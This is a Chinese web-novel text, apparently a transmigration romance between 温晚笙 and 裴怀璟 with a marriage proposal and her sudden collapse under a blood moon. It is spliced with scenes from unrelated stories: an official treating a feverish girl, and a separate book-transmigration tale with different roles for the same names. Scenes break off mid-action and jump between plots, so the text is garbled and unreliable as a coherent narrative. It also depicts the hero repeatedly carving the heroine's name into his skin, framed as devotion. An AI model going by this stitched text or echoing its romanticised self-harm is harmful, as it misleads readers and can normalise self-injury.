回到上京的这些日子以来,他也没听见公子提起温姑娘,可那晚离开梧桐城之时,他分明瞧见公子想同温姑娘道别。 裴怀璟愣了一瞬,嘴角微不可查地扬了扬。 他前脚刚离开梧桐城,她便也回到上京了? 裴戟瞥见自家公子的神情,觉得自己应当是押对了,才刚松了口气,却被裴怀璟恼羞成怒地吼了一声:“同我提她做甚?你莫不是觉得本世子会在意她?” 裴戟霎时闭了嘴,垂头告退。 好吧,是他自讨没趣了。 温晚笙闻言一愣,面容染上薄薄一层绯红。 见温宛儿认真叠衣,她只好走到梳妆台前收拾自己从侯府带来为数不多的首饰。 她将它们缓缓收进梳妆匣内的间隙,回首望向温宛儿,柔声询问:“可要叫兄长先进来? 她的东西虽不多,但有些杂,在梧桐城的这二十日以来,也置办了一些小物件,只怕收拾起来,最少也得花上两刻钟。 温宛儿急忙摆了摆手:“不用不用,他此时应当想一个人静静。” 温晚笙只好点了点头。 兄长性子寡淡不喜与人交流,想一个人待着也在情理之中。 然而一息过后,她便听见那道熟悉的心声传来—— 到了方家,乔青生四周张望,却没见到方子翁,便到了厨房询问刚忙活好的妇人:“姑母,子翁呢?” 方才在路上与晚笙姑娘说好了,她今日便可试着教他功课。 方大娘擦了擦手,将菜碟端到饭桌上,无奈笑道:“今日学堂夫子告假,这孩子应当是又去哪皮了。” 旋即,她注意到乔青生身后的清婉少女,赶忙招呼主仆二人坐下,转头怪道:“你这孩子,怎的不早说晚笙姑娘会来做客?” 话罢,她看着桌上寥寥的三个菜又懊恼道:“我还是得去再买点食材。” 温晚笙连忙拉住她,笑道:“小女今日意外来访,本就多有叨扰,方大娘不必麻烦。” 方大娘看着她乖顺的模样,心生爱怜:“那晚笙姑娘多吃些,万万莫要客气。” 温晚笙笑着点头,最后足足吃了个九分饱。 方大娘的厨艺果真好,原本普通的菜,都能被她做得色香味俱全,别有一番风味。 饭后,方大娘又从厨房中端来一小碟点心,亲切道:“晚笙姑娘,这还有些桂花糕。” 温晚笙闻见那桂花香微微一怔,却是笑着摇了摇头:“方大娘,你们吃吧。”她怕方大娘误会,继续解释道:“我也不知为何,自小吃了这桂花糕便会感到昏沉。” 她叹息一声。 她虽吃不得桂花糕,但裴怀璟却很是喜欢,所以她一个不嗜甜的人,倒是做得一手好点心。 方大娘听见这话双眸一闪,心生纳罕。 她依稀记得,她的弟媳,也就是乔青生已逝的母亲也是如此。 她正想着,乔青生便直接说了出来:“在下原本以为只有我母亲那般奇怪,怎料晚笙姑娘也是如此。” 温晚笙轻笑一声,没有多想,而方大娘盯着少女那张笑靥如花的脸庞,心中隐隐有种感觉。 妇人缓步走到少女背后,替她驱赶飞蚊,故作不经意地朝着她的后颈看去后,面露失望。 什么都没有。 然而就在下一刻,少女感到后颈的瘙痒,轻轻挠了挠时,衣领微微向下滑,露出了白皙皮肤上的浅粉花纹。 那是 方大娘一惊,双眸含泪地僵在了原地。 真的是她。 温晚笙手中的耳饰微微一滑,直直掉落进梳妆匣内,发出一道细微响声。 见温宛儿朝她投来一瞥,她若无其事地耳饰摆放好,解释道:“一时手滑。” 温宛儿点点头,只是提醒她当心些,并未怀疑自己的吐槽被人听了去。 兄长着实不鸣则已,一鸣惊人。 若温宛儿说他被始乱终弃一次,她的反应也不会如此大,可竟是两次。 温晚笙垂眸忍住笑意,心底却暗自赞同温宛儿。 崇德候与许氏成婚的这二十几载,感情虽然算不得多深厚,但也算相敬如宾,从未纳过一个妾室。 而今怎的无中生出一位小妾? 温晚笙稍稍侧眸,只见那被唤作“芸娘”的妇人正款款而行,柔顺地向位于主位的夫妻二人行礼:“妾给侯爷、夫人请晚。” 而她身后的少男少女也乖顺地福了福身子:“给父亲、母亲请晚。” 温晚笙看他这副模样,忍俊不禁,“你不是在上京多待了两天吗,随便查查应该就能知道吧?” “我不敢。”裴怀璟薄唇抿成一线。那时,他怕自己控制不住地阻挠她的婚事。 温晚笙联想起他刚才的古怪,不由瞪大眼,“所以这段时间,你一直把自己当成二房?” “我…不是吗?”少年不确定地问。 温晚笙好笑又心疼地拉住他的手,一味把人往自己这边带。 “我如果成亲了,现在就不会在这里。” “你都不想想,我为什么对你态度转变这么大吗?” “以前我接近你,是别有目的,但现在,我大概是真的爱上你了呀,傻瓜。” 裴怀璟眸中光影浮动,似有星子一颗一颗亮了起来,“真的爱我?” 温晚笙仰头肯定,“真的爱你。” 既然带不走,不如好好珍惜最后相处的时光。 裴怀璟的呼吸骤然乱了,他顾不上其他,一手牵着她,一手急切地去摸索桌侧的暗格。 拨了两下,暗格终于打开。他从里面取出一卷红色的东西,递给她时,指尖异常不稳。 温晚笙松开他的手,不明所以地展开。 墨迹清隽端正,一笔一画写得极认真。 立书人裴怀璟,谨立此书,天地为证,日月为鉴,求温晚笙为妻。 自此以往,苦难一人当,福泽皆予卿。愿为西南风,长逝入君怀。 此生此心,唯系一人,若有相负,永堕无间,天地共弃,不得善终。 裴怀璟,立。 “二小姐,让我赘于你,好不好?” 第 113 章 第 113 章 温晚笙并不知道自己该做什么反应。上次定亲,是她临时提及,婚书也是后来送过来的,无需直接面对。 沉吟良久,她合上婚书。 “裴怀璟,你这是求婚,还是咒自己呀?” 苦难一人当,永堕无间,天地共弃,不得善终。 或许她该庆幸,上面没有写着生死与共之类的话。不然她一个人先走了,那些誓言万一灵验,白害一条人命。 裴怀璟喉结无措地滚了滚,“求婚。” 他又重复了一遍,“二小姐可愿与我成亲?” 那双桃花眼似染着水泽般透亮,一瞬不瞬地望着她,可温晚笙心情有点复杂。 恋爱和婚姻不同,这其中的界限对她一个大学生来说,有稍许难以定论。 现在没了攻略任务,她完全没想过结婚。 温晚笙当然感受到了肩膀上的湿意,挣着让他松开自己。 他睫毛颤颤巍巍,别开眼,脸上的一道泪痕犹在,像是在等着她擦。 温晚笙望着他那副样子,嘴唇翘了翘,觉得有点不道德,还是没说出嘲笑他的话,默默揉了揉他的泪痕。 “你多久没睡了,黑眼圈这么重。” “很难看吗?”裴怀璟眉眼下压,不确定地问。因为马车过慢,唯恐赶不到,他改成了马,昼夜兼程,自然没怎么睡。 温晚笙还真认真仔细地端详了一下。两片淡淡的青紫压在白皙的脸上,其实别有一番风味。 少年怕她嫌弃,忽然伸手,覆住了她的眼。 他如今只想在她心中留下好看的一面。再精致的皮囊,看久了也会生厌。她终有一日,也会看腻那个明日要与她成婚的人。 “你的手还是好烫。”温晚笙的眉眼在他掌心下动了动,“你知道吗,你这样粘着我,我会被你传染的。” 话音刚落,她感觉到他的身子僵了僵。 紧接着,裴怀璟不止松了手,还将她从腿上抱了下去,放到一旁。 怀抱一空,那股沸动也在顷刻间跟着冷却干净。他曾经不懂,如今却知,这是渴望她垂怜、渴望被她压坏的表现。 温晚笙倒是意外,瞟了眼他湿润的眸子,没再替他擦泪。反倒是他为她探了探额头,探完了,又道了句‘抱歉’。 稍顿,温晚笙面色复杂地说了句:“你现在的免疫力太低下了。”每次不是醉酒就是生病。 裴怀璟听不懂,却乖乖地‘嗯’了一声。 “你有暗卫吧?” 云池说:“姑娘今年几岁了?奴婢抱着实在太轻,后面一定要好好补补才行,这样身子壮实了,才不会生病呢。” 温晚笙认真听着她讲话,等反应过来时,已被重新放回了小榻上。 她这时才发现,刚刚她在地上走动时,不小心在地上留了一行泥脚印,脚印不重,但落在月白青石上格外显眼。 能在司礼监掌印身边一直伺候的,到底是心思机敏的。 云池完全没有多说,不过去取热茶的途中,就很自然地将地上的脚印擦去,免去温晚笙最后一点尴尬。 没过一会儿,温晚笙手里就多了一盏糖水。 云池道:“暖阁里太干,姑娘记着润润嗓子,奴婢怕您喝多了茶睡不好,便换成了糖水,里面加了野蜂蜜,甜而不腻,希望姑娘喜欢。” 温晚笙垂眸抿了一口,滚烫的蜂蜜水叫她肩头一颤,蜜水淌入肚里,让她浑身都舒展开来。 又过片刻,雪烟也回来了。 因着不知温晚笙情况,她便没有准备太复杂的膳食,只煮了一碗热粥,里面放了好消化的蔬菜碎和肉沫,最后点缀几粒枸杞。 雪烟心思开朗,一看见温晚笙便惊叹一声,毫不吝啬地夸赞道:“姑娘生得好生漂亮,瞧这眉眼,实是精致!” 她刚说完,云池便叠声跟上。 就这样你一眼我一语,直将温晚笙夸得不好意思极了。 不过温晚笙尚记着,不久前杨元兴找来的花楼妈妈说她姿色一般,甚至为此不肯出高价,既是买来赚钱的,妈妈定是不会说假话的。 那就是雪烟和云池为了逗她高兴,夸大其词了。 温晚笙腼腆的笑了笑,心里到底还是欢喜的,低声说:“谢谢……” 雪烟她们的夸赞没有持续太久,两人很快就布置好了粥食,转去招呼温晚笙吃饭。 她们不许温晚笙动手,非要一勺勺喂给她,按着雪烟的说法—— “这粥刚出锅还烫着,奴婢怕烫到姑娘。” 实际她还是怕温晚笙饿得太狠,狼吞虎咽一番,再吃伤胃就不好了。 这一晚到底没能安稳度过。 时序才回书房不到一个时辰,就听西厢那边匆忙来报:“大人不好了!您带回来的那位姑娘忽然发了高热,府医诊治许久也不见缓解,如今已开始说胡话了!” 时序的第一反应就是怀疑:“什么叫开始说胡话了?我不是刚从那边回来?” 下人跪伏在门口:“是、是……奴婢也不知怎么回事,前后就半个时辰,连府医都觉惊奇,用了快速退热的法子,却始终不见效。” “雪烟姑娘怕耽搁了事,便差奴婢来禀告大人。” 他正要问是否要去外面请郎中来,然随着他身侧拂起一阵风,再抬头,却见头顶的人早不在屋里,因走得匆忙,连衣架上的披风都没顾上拿。 另一边,西厢小阁楼如今也是乱做一团。 府医才从暖阁离开,未等喘口气,又被西厢的下人请了过去。 他原没将这次传唤看在眼里,只因前不久他才给那小姑娘检查过,除了手脚多有冻疮,身子骨又单薄些,并不见什么危急病症。 西厢的下人虽说对方发了高热,但他也只当是不小心染上了风寒,且用温帕子降降温,再喂一碗伤寒药,修养个三五天,也就大差不差了。 万不曾想,用来降温的帕子用了十几条,伤寒药也灌了两碗,床上的小人不光没好几分,反而两颊烧得通红,咿咿喃喃说起胡话来。 雪烟和云池一床头一床尾,不间断地给温晚笙搓揉四肢。 府医本就因异症心慌,转头又瞧见她们的态度,顿是一阵手脚发寒,颤颤巍巍地叫徒弟去取医书,忍不住围着桌子团团转起来。 当时序赶过来时,一进里间就听到一声尖锐的哭叫声。 温晚笙小小的身体无意识痉挛着,面上全是痛苦之色,她嘴里原就在呢喃着什么,也不知梦到了什么,忽而大叫一声:“阿爹救我——” 时序面色乍变,三步并作两步,快速绕过屏风,床上景象映入眼帘。 只见温晚笙两只胳膊从雪烟的掌心里挣出来,不住上下扑打着,又因生着病,呼吸也变得困难,才挣扎尖叫两声,就闭气剧烈咳嗽起来。 前不久才见过她乖乖巧巧的样子,骤瞧见她这般病怏怏地歪在床上,时序忽然觉出几分不适,脚下步伐更匆忙了些。 见到他过来,雪烟和云池连忙起身,又一齐退到床脚,将位置让出来。 至于那治疗无效的府医早战战兢兢跪倒在地,额头抵在地面上,嘴唇哆嗦半天,神色惶惶,全然说不出一个字来。 时序的手才碰到温晚笙,就觉掌心一片滚烫。 他心里升起一阵勃然怒气:“这是怎么回事?刚才不还好好的吗?” 有从外面端着热水回来的下人,一进门就听了这样一声质问,吓得扑通一声跪下去,盆里的热水溅了满手也浑然不觉。 府医半天说不出话来,雪烟只好回答:“回大人,时姑娘开始确是好好的,奴婢和云池一直守着她睡熟才退下,其间未有半分亦状。” “但奴婢二人出去只一小会儿,就听见里面传来惊厥叫声,一进去就发现时姑娘发了热,赶忙叫来府医,又是擦拭身体又是喂药,一连半个时辰也不见缓解,奴婢实在无法,这才惊扰了您。” 时序目光落在温晚笙通红的小脸上,头也不抬地问道:“府医呢?” “小小小、小人在!”府医见再躲不开,膝行几步,垂首回禀,“小人已为姑娘切过脉,依脉象看就是普通风寒,也依照风寒症状开了药,谁知……” 时序听不下去了,怒而打断道:“没用就不知更换药方吗!” “有。” “让他们给你买点药?” “好。” “你还有饴糖么?” 少年顿了一下,方道:“没了。” 温晚笙眨眨眼,“只买了一颗?” 不知道是不是被蒙着眼的缘故,刚才吃的那一颗尤其甜,像是掺了别的什么。 裴怀璟忽然起身。 温晚笙呆了一下,也跟着下了床,“你去哪?” 少年薄唇翁动两下,“去买饴糖。” “不用了。”温晚笙扶额,喟叹道:“你还是睡觉吧,别把自己当机器人了” “二小姐饿了。”少年哑着嗓子说。 第一日都快过完了,他哪能舍得闭眼。 被他这么个含情脉脉的眼神瞧着,温晚笙想生气都难,“我不饿,但是我现在要走了,这里是哪里,离我家近吗?” 少年与她保持着距离,诚然道:“悦来酒楼。” 温晚笙张了张唇。原来是他们第一次‘约会’的地方。想及此,她忍不住吐槽:“你说你以前怎么就这么难攻略呢。” 裴怀璟黝黑的眸子里掠过不解,但认错认得很快,“我从前不是人,辜负了二小姐。” “这么早成亲吗?”温晚笙缓慢笑了一下,梨涡浅现,“恋爱都还没谈几天唉。” 裴怀璟的心措不及防地一抽,“我们成亲后,依旧可以恋爱。” ‘恋爱’二字从他口中说出颇为古怪,温晚笙静静盯着龙袍上的暗红花纹看了一会儿。 她做出思考状,半开玩笑地问:“话又说回来,皇帝可以赘么?” “可以。”裴怀璟目光灼灼如星。 温晚笙歪头推脱,“好像从来没听过,应该不太行吧。” “无事,我很快便能退位。”少年呼吸有了轻微波动,“往后,二小姐去哪,我便去哪。” “裴怀璟你疯了?”温晚笙不赞同地瞪他,“为了爱情,放弃事业?” 她现在真是越看越觉得,他不像书里那个所谓的病娇男配。 裴怀璟漆黑眼睫颤了颤,忽觉心脏浮现无数虫蚁啃食。 寒假快结束,温晚笙倚在窗前,看雪一片片落下来,心里没来由地发闷。 公司越来越好,妈妈越来越忙,总是很晚才回家,她什么也帮不上。 在窗边呆了半天,她缩回被窝,漫无目的地打开手机乱玩。 忽然,一幕奇怪的画面从脑海中闪过。有个人满身是血,躺在雪地里。 “什么啊”温晚笙晃了晃脑袋,低头,屏幕不知什么时候停在了一个阅读页面上。 反正没事,她索性沉浸式阅读了起来。 故事的开头,一个小女孩从一群顽劣孩童手中,救下了一个小男孩。他身份低微,处境危险,她教他用树枝在地上习字,悄悄送他好吃的、好玩的、好用的。小男孩一点都不排斥这个朋友,面上冷冷的,每天却期盼她的到来。 长大后,她用人工呼吸救了他第二次。他学会了,在生死关头也用同样的方式,救下了她。并且在女孩不知道的地方,他护了她一次又一次,早已加倍还完救命之恩,生出了其他的情愫。女孩也在不知不觉中,动了心。 故事的最后,少年功成名就,在乱世之中,将她的一家人都护了下来。他想着,等一切安定下来,便与她待在一方天地,永远不分离。 可她十八岁那一年,毫无征兆地离世了。 他疯了,用尽邪术招魂,将自己弄的人不人鬼不鬼,以命换命,换来了第二世。 可悲的是第二世,女孩不过活了几年,与他没什么交集便走了。 很久以后,他才想起一切,并且得知女孩是这个世界之人与异世之人的孩子。她会消失,不过是被母亲带回了异世。 得知她很幸福,他没有选择打扰,只是结束了没有她的生命,一生仅止于爱情。 死后,两个时空意外连接,他又看见了她。命运没有放过她,即使换了个地方生活,她依旧活不过十八岁。 他以魂飞魄散为代价,换她下一世平安无虞。 温晚笙继续往下划,划不动了。 第三世,是空白的。 正当这时,屏幕上缓缓浮出几行字: “若你是她,你想回去见他一面吗?” 窗外雪落无声,她盯着那行字,思量了许久。 “会。” “二小姐。” “裴怀璟,你是来找我的吗?” “是。” “好巧,我也是来找你的。” “可是身子不适?” 温晚笙靠在他胸前,鼻尖萦绕着好些日子没近距离闻过的淡香。 “没有,就是想见你了。” 她顿了顿,两道细眉拧在一处,“不过这么晚了,你不该出门的。”夜盲症都还没好。 “没事。”裴怀璟揽住少女的腰。 “有事。”温晚笙抬起头,语气里透出蛮横的关切,“以后非必要,晚上不许乱走。” “可我需要见二小姐。”裴怀璟眉目微动,试图看清眼前人。 温晚笙声音里掺了点恰到好处的甜腻,“我想他想得不得了!” 小指安静了一瞬,不晃了。 “二小姐依旧爱他?” 他曾在一本书上看到过,新婚夫妇若房事不契,极易变心,当月和离的也不是没有。 “嗯!你不是收到信了吗?” 裴怀璟眸色深了深。这样幸福平淡的日子,她想一直过下去。 可惜一场意外,带走了母亲,小小的她也失去了意识。 谢衡之点头:“女主和她的太子哥哥并没有血缘关系,因为真正的公主被奶娘调换了。” 裴怀璟:“哇,所以女主其实是奶娘的女儿,所以这本书是个伪骨科?” 谢衡之:“对,没错,是这样的。” 裴怀璟:“那真正的公主呢?” 作为医仙的弟子,姚蓉蓉是有几分傲气的,立刻说道:“尸毒我也解过几种,没什么难度。” 裴怀璟笑了笑,伸手撸起了自己的袖子,衣袖被她挽了上去,露出了一条布满黑色纹路的手臂。 长期在不见天日的墓穴中行走,裴怀璟的皮肤白的像幽灵,那黑色的纹路如同数不清的黑色细线,在她苍白的皮肤上向四周蔓延。 姚蓉蓉愣了愣,“把手拿来,我给你把脉。” 那时小师弟用化名,名叫重羽,谢衡之不知他是书中的男主之一,一直叫他小重师弟。 一次对剑时,谢衡之不小心弄掉了他用来束发的玉簪,小师弟那一头青丝在风中轻舞,片片梨花落在他的发丝上,当真是好看极了。 肌肤雪白的少年乌发垂肩,眼睫轻颤,轻声唤她:“师姐。” 谁能想到,那么乖那么软的一个美少年 裴怀璟手里拿着个苹果,躺在地毯上唉声叹气,绿色的青苹果在她指尖上像个陀螺似的转了好几圈,她向上一抛,苹果在空中划过一道抛物线,稳稳地落在了身旁的地桌上。 地桌旁边跪坐着一个一身白衣的女子,膝盖上放着一把通体雪白的长剑,像一只安静的大白猫。 裴怀璟戳戳她,“阿雪,帮我削个皮。” 白衣女子微微点头,一道剑光从裴怀璟眼皮上闪过,长剑出鞘,剑尖挑起了苹果,苹果高高飞起,剑光又是一闪,当苹果落在桌上时,不仅被削了皮,还被切成了大小均等的六瓣。 “豁!三秒钟不到!”裴怀璟拿起一块苹果,“从前你可是连土豆皮都不会削的啊。” 白衣女子微微一笑,拿起一旁的棉布巾,轻轻擦拭长剑,“你从前也怕鬼,连鬼片都不敢看,现在不也成了一个鬼修么?” 裴怀璟心痛地猛拍大腿,嘴里的苹果都不香了:“你这种爱看小说的人穿书也就算了,我就只摸了一下那本小说的封面,就这样也能穿?!” 事情,要从一本书开始说起。 小区附近开了一家书屋,裴怀璟的好基友——谢衡之,是个超级爱看小说的人,立刻拽着裴怀璟去了书屋。 肩膀忽然被裴怀璟撞了一下,谢衡之回过神来,脑海中那张面孔就像被风吹散的雾气,忽地消散了。 耳边传来的裴怀璟的声音:“哇,这姑娘漂亮啊!” 谢衡之抬头,随着裴怀璟的视线望过去,看到了不远处站在梨花树下的少女。 少女穿着一身鹅黄衣衫,发髻上簪着几朵黄玛瑙雕成的棣棠花小簪,脑后系着同颜色轻纱发带,俏生生地站在梨花树下,像一朵嫩嫩的鹅黄色花朵。 徐清眼前的少女行了一礼,说道:“姚师姐,这两位是摘了您医牌的病人。” 穿着鹅黄色衫子的少女转过身,是明媚俏丽的长相,一双漂亮的杏眼黑白分明,眼圈却是微微泛红着的。 她看了裴怀璟和谢衡之一眼,有些恹恹地说道:“知道了。”丹宫弟子穿金衣。 医宫弟子穿白衣。几块铜板,一个水壶,一个火折子,两小罐治伤的药,还有一个长了毛的馒头。 裴怀璟打量着馒头上的绿毛,看着谢衡之,沉默数秒,裴怀璟问道:“你怎么混成这样,长了毛的馒头你也留着?” 谢衡之有些尴尬:“这事说来话长。” 裴怀璟扔掉馒头,拍拍手:“那就长话短说。” 谢衡之顿了顿,斟酌了好一会才说道:“我一剑捅穿了我的小师弟。” 裴怀璟来了精神,扶正了额头前歪歪斜斜的白玉环抹额,身子坐直了些,竖起了耳朵:“细说。” 说起这段事,谢衡之脸上的表情变得不太自在,她清清嗓子,低声说道:“我那个小师弟的身份有点特殊,我当时下手太狠,他吐血跪在我面前,我立刻知道自己闯了大祸,连盘缠都来不及带,就慌不择路地逃出了师门。” 裴怀璟问道:“你的小师弟的身份有多特殊?” 谢衡之叹了口气:“他是羽朝太子,女主她哥,书里的男二号,也是我在烟都学剑时的小师弟。” 药宫弟子穿黄衣。 商宫弟子穿黑衣。按照原著的剧情,谢衡之将会成为女主羽落清的暗卫,然后偷偷暗恋太子羽重雪,最后为女主挡了毒针而死。 在21世纪,谢衡之有个幸福的家庭,妈妈叫李雪,爸爸叫闻人语,所以她叫谢衡之。 穿书之后,她的父亲名叫十七,母亲名叫廿九,按照暗卫的取名习惯,她应该叫三九。 谢衡之的父母都是医生,家境虽说算不上大富大贵,那也是衣食无忧的中产阶层,作为家中的独生女,从小到大也是被家人捧在手心里富养的女孩。 这种女孩,但凡有一丝血性的,就不可能用自己的生命为别人做嫁衣。 想要在她的血肉上开出花? 呸! 她一定在临死前斩草除根,把所有人都鲨了。 玄武商船行驶在波涛汹涌的大海上,浪涛拍打着水晶做成的窗子,裴怀璟倚在墙上打了个哈欠。 “这种光线昏暗的环境很适合睡觉,如果不是船太晃的话,我倒真想大睡一场。” “哎呀,到底什么时候能到碧海潮生啊?” 谢衡之答道:“再过两天就到了。” 裴怀璟揉揉脑袋,愁眉苦脸地说道:“居然还有两天,这时间怎么变得这么漫长啊?” 谢衡之说道:“等待是世界上最漫长的事。” 裴怀璟懒懒的倚着墙,抬手摸了一下眉间的玉环。 等级上分天地玄黄,医仙月扶疏的第四位弟子——姚蓉蓉,便是地字乙等的医师。 她还爱,说明他们很契合。 他不敢再想,五指一收,缓缓插入她掌心,与她十指相扣。 他用了点力捏拢,平静地说:“无妨。” 温晚笙瞪圆了眼,“有妨!” 哪有人上赶着当三的。 少年被她的模样可爱到,低低笑了一声。 “二小姐也爱我的皮囊,不是吗?” 确实不能否认。温晚笙气得脸颊鼓起,“裴怀璟,你能不能有点出息啊!” 爱情不是只基于皮囊,她也不是个只知道贪图美色的肤浅之人。 少年面无表情,顶着不属于自己的脸,吐出旖旎的情话。 “与二小姐在一起,便是我此生所求。” 温晚笙倒吸一口冷气,因为馄饨铺的老板,正用古怪的眼神看着他们。 她狠狠回握他的手掌,把他拽到无人的角落。 “和我在一起是很痛苦的!” 裴怀璟拢眉,还是那个答案:“不与二小姐在一起才叫痛苦。” “我能背叛别人,将来也能背叛你,你就不怕我找小四、小五吗?”说完这一大串恐怖的台词,温晚笙力竭了。 裴怀璟认真反应了一会儿,笑着纠正:“这不叫背叛。” 她心胸旷阔,会喜欢上别人,也不过是一时兴起,何来背叛一说。 只要他忠于她便够了。 温晚笙觉得他在装大度,可神态又那么诚恳。 “那要是我和你在一起后没多久就腻了呢?” “无妨。” “要是没几个月呢?” “无妨。” 温晚笙抬手抚过他的眉骨,“白天不是刚见过?” “不够。” “那好吧。”温晚笙的心口不知不觉软陷,“你今晚搬回来吧。” 裴怀璟眉梢的弧度惊喜地漾开,“当真?” “嗯!” “好,二小姐带我走。” 幽风渐起,将两人的衣裳吹得猎猎飞舞。 温晚笙余光一瞥,突然满是惊异,“哇,你看,是血月!” 天穹之上,原本被吞去的明月,竟显露出了完整的轮廓。 如同被血色浸染,静静悬在沉沉夜色之中。 裴怀璟唇角带笑,眼睛抬去一半,怀里的少女突然颤了一下,一口鲜血从她唇间喷涌而出。 她倒在了他怀里。 第 114 章 第 114 章 “二小姐。”裴怀璟一手托着少女的腰,唇瓣几乎贴着她的发顶。 好闻的花香飘来,他吻了吻她的发丝,又亲呢地唤了声,“二小姐。” 没有应答。 她的额头乖巧地抵着他的胸口,像是突然睡着了,能够维持着这个姿势,全凭他在她腰间的手。 裴怀璟若无其事地询问:“明日我带二小姐出宫好可好?” “你这段时日一直将自己闷在房里,不嫌无聊么?” “我们去看山,还是看水?” 安静极了,一种令人窒息的、前所未有的安静。 “明”少年顿了顿,仔细地改了口,“后日,二小姐可有空?” “干嘛?” “想见你。” “唉。”温晚笙无奈地拢起眉头,“不见的话,你不会又绑架我吧?” 几乎是同一时刻,系统又开始催促她远离前攻略对象。比起008,这个系统要冷漠得多,完完全全像一个机器。 她实在搞不懂,攻略进度的最后1%到底是什么。为什么无论是裴怀璟,还是谢衡之,都会卡在这里。她不止一次怀疑,就算攻略成功,也未必回得去。 裴怀璟沉闷地垂首,浓长的睫羽盖住眼底的神色,“不会了。”只是因为明日她便要成婚,他才又犯了浑,惹她不高兴。 见她不语,他脑子虽烧得发沉,却还会转。 “我可以偷偷去找二小姐。”他小心地提议:“纵然不慎被发现,读书之人胸襟都大,他理当不会生气。” 他已经学会了不妒,想必她的心上人,也有这等本领。 温晚笙表情一时抽了抽,“你的道德呢?” 他好像完完全全代入了自己是‘见不得光’的角色,不仅能为她现在的‘心上人’豁出性命,还能替她周全。 “二小姐果真不想见我。”裴怀璟未表现出半点孤寂。 他在想,若是以后只能远远看她,不能说话,不能让她发现,也可以。 温晚笙望着他垂下去的脑袋,沉吟很久,也大概明白了自己的内心。她也许还是做不到讨厌他,不然被他纠缠来纠缠去,还被他坏了任务,早该受不了了。 她搓了搓指腹,上头好像还残留着他的泪。 “让我想想吧。” 前段日子她收到了陆子昂的信,说是找到了好几种回现代的法子,或许,她可以不把希望全寄托在攻略上。 “好。”裴怀璟眼里的期许晃了晃,应得很快。 他失了贞,她不仅不介意,还吻了他。若这都不是爱,那什么是爱?少年喉结微动,不敢去分辨这究竟意味着什么。 风声尖啸在耳畔,卷动云层,将诡谲的血月映得更清晰。 暗红的光影在他眼前晃了一瞬,猛地将他从混沌中扯回。 他不再犹豫,将毫无知觉的人抱了起来。 她的身子轻得骇人,头无力地垂在他臂弯之外,乌发如瀑,顺着他的手腕倾泻而下。 “二小姐别怕。”他低声安慰,心里不该有的恐惧却席卷而来。 先前落在地上的灯已经灭了,他眼前一片漆黑,朝着她卧房的方向奔了起来。 很快、很狼狈。 因着看不清前路,他数次险些绊倒,才终于来到了灯火通明处。 那一群闲聊的宫人大多都没见过帝王的相貌,却认得那一身衣裳。 温晚笙这才松口,学着他的语气,“大骗子,以后痛就要说痛,知道吗?” 少年漆黑如棋的眼珠子还被水珠浸湿着,怔怔应答:“好。” 温晚笙的声音软下来,目不转睛地盯着他看,“裴怀璟,我很心疼,以后不要再这样了。” “不准动不动就道歉,不准用这么愚蠢的方式伤害自己。” “也不准再为了救别人,豁出自己的性命,你这么教我,自己以后也要学会。” “而且啊,你刻‘笙’字,万一我不叫这个名字,是骗你的,怎么办?” “答应我,听见了没,嗯?” 良久良久,裴怀璟终于哑声答:“好,我答应二小姐。” 温晚笙俯身,在他浅浅泛红的鼻尖上啄了一下,声音柔软下来,“乖。” “手腕给我看看。”她又伸出手。 少年顺从地将两只手递到她眼前。 温晚笙翻来覆去地检查了一遍,确认那些伤口没有再被折腾,唇角扬起笑意,“真乖。” 裴怀璟心口发烫,再度确认:“二小姐,我们不分开?” “当然不分开!” “当真?” “不分开,不分开!” “那二小姐叫什么名字?” 温晚笙愣了一秒,意识到他把她刚才的话放在了心上。 “这个嘛不告诉你。” “我想知道,二小姐告诉我” “哎哟,别这么可怜巴巴地看着我。”温晚笙趴在他的胸膛上,捧住他的脸,“我就叫温晚笙,你记住了!” 她可不就是因为和书里角色同名才穿的。 裴怀璟眼底被幸福浸透,“笙笙。”他顿了顿,轻声夸道:“好听。” 温晚笙的脸不知道为什么腾地红了,她起身,视线不自然地落到他的衣襟下,“带药了吗?” “没有。” “咳,那跟我去百草堂吧,刚好研发了新的药。” 她说着就要起身。 裴怀璟却忽然扣住她的腰,自己也坐起身来。 两人一下子从趴卧的姿势,又变成面对面叠坐着。 “明日再说可好?”他依恋着恳求,“我今日一瞬都不想离开二小姐。” “不离开,我的意思是我们一起去。” “可在外面二小姐不让我亲。”少年眼尾下垂,好似受了天大的委屈,“况且,我只想与二小姐一人待着,不想被旁人打扰。” 他们噗通噗通跪了一地,声音参差,惶恐叩首:“陛下。” 裴怀璟步子未停,转眼消失在回廊尽头。 四五个玩忽职守的宫女太监互望一眼,惊魂未定地站了起来。 “大晚上的,陛下怎么在宫里瞎晃悠?” “瞧你这话问的,整个皇宫都是他的,他就是半夜放把火都不稀奇。” “唉,不过你们方才瞧见了没,他怀中可是抱着一位姑娘?” “那么大个人谁瞧不见呀?” “真是奇了,不是说陛下不好女,也不好男么?” “咳咳,你们多久没出宫了,如此孤陋寡闻。” 脑子里净是废料啊。 温晚笙好笑地晃了晃覆在她手背上的手,“不用,我就看看。” 谁料,两人僵持了片刻,他却始终不肯松手。 温晚笙语气沉下来,“松手。” 裴怀璟充耳不闻,将她的手轻轻拉开,“乖,我们该下楼用晚膳了。” “好吧。”温晚笙眼珠子一转,唇角弯起来,“我刚好饿了。” 裴怀璟捏着她的手顿时一松,转而握住她的腰,想将她抱下床。 怎料就在这时,他被推倒在床上。 伴随着“嘶啦”一声,里衣被彻底撕开。 两人的动作皆是一顿。 温晚笙的瞳仁颤了颤,状况比她预想中的还要差。 巨大的疤痕狰狞地盘踞在他苍白的皮肤上,周围的肉微微皱缩着,泛着不健康糜烂的粉,比之前她受伤那天,他自伤的还要夸张。 三个月过去还这样触目惊心,可见当初他下手时,是何等不留余地。 而更要命的是,这道伤的旁边,竟然又有一个‘笙’字。和他左手腕处的那个一模一样,甚至更深,更狰狞。那块皮肤隆起,是反复结痂、反复撕裂后留下的痕迹。 “裴怀璟!” 裴怀璟身子轻颤,无措地望向俯视着他的少女。 “二小姐,我错了” 他听了她的话,没再给手腕增伤。可每回看到那个字淡化,就像她也在从他的生命里淡去,那种失控的恐慌,逼得他只能在心口一遍遍加深痕迹。 他想她心疼、又怕她心疼、更怕她嫌弃。 温晚笙声音低得几乎听不见:“我有点后悔了。” 才分开一年不到,他就把自己折腾成这样,如果是一辈子,他岂不是真的要殉情啊。 “我错了。”裴怀璟睫毛湿答答黏成一簇一簇,冰凉的指尖勾住她的手,“我以后会听话的,二小姐,不要与我分开,不要” 他们才刚复合,他怕,很怕。 温晚笙眼瞳颤了颤,一滴温热的水珠跟着砸在他心口,顺着疤痕的纹路滑下去,渗进凹凸不平的沟壑里。 